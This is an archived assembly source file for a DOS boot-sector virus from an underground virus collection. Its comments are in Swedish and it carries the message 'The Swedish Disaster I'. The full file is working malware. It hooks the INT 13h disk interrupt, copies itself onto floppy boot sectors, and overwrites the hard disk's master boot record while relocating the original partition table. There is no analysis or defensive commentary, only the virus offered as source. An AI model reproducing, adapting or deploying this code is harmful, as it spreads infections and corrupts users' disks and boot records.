home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / t / tsd1.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.3 KB  |  260 lines

  1. ; Senast ändrad 891213.
  2.  
  3. ;
  4.  
  5. ; Lägger gamla bootsectorn på sida 1, spår 0, sector 3.
  6.  
  7. ;                             sida 0, spår 0, sector 7 på HD.
  8.  
  9.  
  10.  
  11.  
  12.  
  13. Code    Segment
  14.  
  15.     Assume    cs:Code
  16.  
  17.     Org    0000h
  18.  
  19.  
  20.  
  21. Main    Proc    Far
  22.  
  23.     db    0EAh,05h,00h,0C0h,07h
  24.  
  25.  
  26.  
  27.     jmp    Near Ptr Init        ; Hoppa förbi variabler och nya int13h
  28.  
  29.  
  30.  
  31.  
  32.  
  33. ; Variabler
  34.  
  35.  
  36.  
  37. Old13h    dd    0            ; Gamla vectorn till diskfunktionerna.
  38.  
  39.  
  40.  
  41. TmpVec    dd    0            ; Temporär vec. vid ändring av int 13.
  42.  
  43.  
  44.  
  45. BootPek    dw    0003h,0100h
  46.  
  47.  
  48.  
  49. ; Slut på variabler
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57. Int13h    Proc    Near
  58.  
  59.         push    ds
  60.  
  61.     push    ax
  62.  
  63.     push    bx
  64.  
  65.  
  66.  
  67.      cmp    dl,00h            ; Drive A
  68.  
  69.     jne    Exit
  70.  
  71.  
  72.  
  73.     cmp    ah,02h
  74.  
  75.     jb    Exit
  76.  
  77.     cmp    ah,04h
  78.  
  79.     ja    Exit             ; Kolla så att func. 2-4
  80.  
  81.  
  82.  
  83.     sub    ax,ax
  84.  
  85.     mov    ds,ax
  86.  
  87.     mov    bx,043Fh        ; Motor status byte.
  88.  
  89.     test    Byte Ptr [bx],01h     ; Testa om motorn i A: är på..
  90.  
  91.     jnz    Exit            ; Nej,hoppa till gamla int 13h
  92.  
  93.  
  94.  
  95.     call    Smitta
  96.  
  97.  
  98.  
  99. Exit:     pop    bx
  100.  
  101.     pop    ax
  102.  
  103.     pop    ds
  104.  
  105.      jmp    [Old13h]
  106.  
  107.  
  108.  
  109.  
  110.  
  111. Smitta    Proc    Near
  112.  
  113.     push    cx
  114.  
  115.     push    dx
  116.  
  117.     push    si
  118.  
  119.     push    di
  120.  
  121.     push    es
  122.  
  123.  
  124.  
  125.     push    cs
  126.  
  127.     pop    es
  128.  
  129.     push    cs
  130.  
  131.     pop    ds
  132.  
  133.  
  134.  
  135.     mov    si,0004h        ; Max antal försök.
  136.  
  137.  
  138.  
  139. Retry:    mov    ax,0201h        ; Läs en sector
  140.  
  141.     mov    bx,0200h                ; Läs hit.
  142.  
  143.     mov    cx,0001h        ; Spår 0 Sector 1
  144.  
  145.     sub    dx,dx            ; Sida 0 Drive 0
  146.  
  147.     pushf
  148.  
  149.     call    [Old13h]         ; Läs in booten.
  150.  
  151.  
  152.  
  153.     jnc    OK
  154.  
  155.  
  156.  
  157.     dec    si
  158.  
  159.     jz    Slut             ; Hoppa ur om fel.
  160.  
  161.     jmp    Retry             ; Försök max 4 gånger.
  162.  
  163.  
  164.  
  165.  
  166.  
  167. OK:    mov    si,0200h
  168.  
  169.     sub    di,di
  170.  
  171.     cld
  172.  
  173.     lodsw
  174.  
  175.     cmp    ax,[di]
  176.  
  177.     jne    L2
  178.  
  179.     lodsw
  180.  
  181.     cmp    ax,[di+2]
  182.  
  183.     jne    L2
  184.  
  185.     jmp    Slut
  186.  
  187.  
  188.  
  189. L2:    mov    ax,0301h                ; Skriv en sector.
  190.  
  191.     mov    bx,0200h
  192.  
  193.     mov    cx,0003h        ; Spår 0 Sector 3
  194.  
  195.     mov    dx,0100h        ; Sida 1 Drive 0
  196.  
  197.     pushf
  198.  
  199.     call    [Old13h]        ; Flytta boot sectorn.
  200.  
  201.  
  202.  
  203.     mov    ax,0301h
  204.  
  205.     sub    bx,bx
  206.  
  207.     mov    cx,0001h
  208.  
  209.     sub    dx,dx
  210.  
  211.     pushf
  212.  
  213.     call     [Old13h]        ; Skriv ner viruset till booten.
  214.  
  215.  
  216.  
  217. Slut:    pop     es
  218.  
  219.     pop    di
  220.  
  221.     pop    si
  222.  
  223.     pop    dx
  224.  
  225.     pop    cx
  226.  
  227.     ret
  228.  
  229. Smitta    Endp
  230.  
  231. Int13h    Endp
  232.  
  233.  
  234.  
  235. Init:    sub    ax,ax
  236.  
  237.     mov    ds,ax            ; Nollar ds för att ändra vect.
  238.  
  239.  
  240.  
  241.      cli
  242.  
  243.      mov    ss,ax
  244.  
  245.      mov    sp,7C00h
  246.  
  247.      sti                ; Sätter upp en ny stack.
  248.  
  249.  
  250.  
  251.     push    cs
  252.  
  253.     pop    es
  254.  
  255.     mov    di,Offset Old13h
  256.  
  257.     mov    si,004Ch
  258.  
  259.     mov    cx,0004h
  260.  
  261.     cld
  262.  
  263.     rep    movsb            ; Flytta int 13h vectorn.
  264.  
  265.  
  266.  
  267.     mov    bx,0413h
  268.  
  269.     mov    ax,[bx]            ; Minnesstorleken till ax.
  270.  
  271.     dec    ax
  272.  
  273.     dec    ax
  274.  
  275.     mov    [bx],ax            ; Reservera plats för viruset.
  276.  
  277.  
  278.  
  279.     mov    cl,06h
  280.  
  281.     shl    ax,cl
  282.  
  283.     mov    es,ax            ; Omvandla till segment addres.
  284.  
  285.  
  286.  
  287.     mov    Word Ptr TmpVec,Offset Int13h
  288.  
  289.     mov    Word Ptr TmpVec+2,es
  290.  
  291.      push    es
  292.  
  293.     sub    ax,ax
  294.  
  295.     mov    es,ax
  296.  
  297.     push    cs
  298.  
  299.     pop    ds
  300.  
  301.     mov    si,Offset TmpVec
  302.  
  303.     mov    di,004Ch
  304.  
  305.     mov    cx,0004h
  306.  
  307.     rep    movsb
  308.  
  309.     pop    es
  310.  
  311.  
  312.  
  313.     sub    si,si
  314.  
  315.     mov    di,si
  316.  
  317.     mov    cx,0200h        ; Hela viruset + lite till.
  318.  
  319.      rep    movsb
  320.  
  321.  
  322.  
  323.     mov    ax,Offset Here
  324.  
  325.     push    es
  326.  
  327.     push    ax
  328.  
  329.     ret                ; Hoppa till viruset.
  330.  
  331.  
  332.  
  333. Here:    sub    ax,ax
  334.  
  335.     int    13h              ; Återställ driven
  336.  
  337.  
  338.  
  339.     sub    ax,ax
  340.  
  341.     mov    es,ax
  342.  
  343.     mov    ax,0201h                ; Läs en sector funk.
  344.  
  345.     mov    bx,7C00h        ; Hit laddas booten normalt.
  346.  
  347.     mov    cx,BootPek
  348.  
  349.     mov    dx,BootPek+2
  350.  
  351.     int    13h
  352.  
  353.  
  354.  
  355.     push    cs
  356.  
  357.     pop    es
  358.  
  359.     mov    ax,0201h
  360.  
  361.     mov    bx,0200h
  362.  
  363.     mov    cx,0001h
  364.  
  365.     mov    dx,0080h
  366.  
  367.     int    13h                     ; Läs in partions tabellen.
  368.  
  369.     jc    Over
  370.  
  371.     push    cs
  372.  
  373.     pop    ds
  374.  
  375.     mov    si,0200h
  376.  
  377.     sub    di,di
  378.  
  379.     lodsw
  380.  
  381.     cmp    ax,[di]            ; Kolla om den är smittad.
  382.  
  383.     jne    HdInf
  384.  
  385.     lodsw
  386.  
  387.     cmp    ax,[di+2]
  388.  
  389.     jne    HdInf
  390.  
  391.  
  392.  
  393. Over:    mov    BootPek,0003h
  394.  
  395.     mov    BootPek+2,0100h
  396.  
  397.     sub    bx,bx
  398.  
  399.     push    bx
  400.  
  401.     mov    bx,7C00h
  402.  
  403.     push    bx
  404.  
  405.     ret                ; Kör den gamla booten.
  406.  
  407.  
  408.  
  409. HdInf:    mov    BootPek,0007h
  410.  
  411.     mov    BootPek+2,0080h
  412.  
  413.  
  414.  
  415.     mov    ax,0301h
  416.  
  417.     mov    bx,0200h
  418.  
  419.     mov    cx,0007h
  420.  
  421.     mov    dx,0080h
  422.  
  423.     int    13h            ; Flytta orgin. part.tabellen.
  424.  
  425.     jc    Over
  426.  
  427.  
  428.  
  429.     push    cs
  430.  
  431.     pop    ds
  432.  
  433.     push    cs
  434.  
  435.     pop    es
  436.  
  437.     mov    si,03BEh
  438.  
  439.     mov    di,01BEh
  440.  
  441.     mov    cx,0042h
  442.  
  443.     cld
  444.  
  445.     rep    movsb            ; Kopiera part. data till viruset.
  446.  
  447.  
  448.  
  449.     mov    ax,0301h
  450.  
  451.     sub    bx,bx
  452.  
  453.     mov    cx,0001h
  454.  
  455.     mov    dx,0080h
  456.  
  457.     int    13h            ; Skriv viruset till part. tabellen.
  458.  
  459.  
  460.  
  461.  
  462.  
  463.     sub    ax,ax
  464.  
  465.     mov    es,ax                   ; Kolla om msg:et ska skrivas ut.
  466.  
  467.     test    Byte Ptr es:[046Ch],07h
  468.  
  469.     jnz    HdInf1
  470.  
  471.  
  472.  
  473.     mov    si,Offset Txt           ; Detta utförs bara om man bootar från
  474.  
  475.     cld                             ; diskett.
  476.  
  477. Foo1:    lodsb
  478.  
  479.     cmp    al,00h
  480.  
  481.     je    HdInf1
  482.  
  483.     mov    ah,0Eh
  484.  
  485.     sub    bx,bx
  486.  
  487.     int    10h
  488.  
  489.     jmp    Foo1
  490.  
  491.  
  492.  
  493. HdInf1:    jmp    Over
  494.  
  495.  
  496.  
  497.  
  498.  
  499. Slutet    Label    Byte            ; Används för att veta var slutet är.
  500.  
  501.  
  502.  
  503.  
  504.  
  505. Txt    db    07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h
  506.  
  507.  
  508.  
  509.  
  510.  
  511. Main    Endp
  512.  
  513. Code    Ends
  514.  
  515.     End
  516.  
  517.  
  518.  
  519.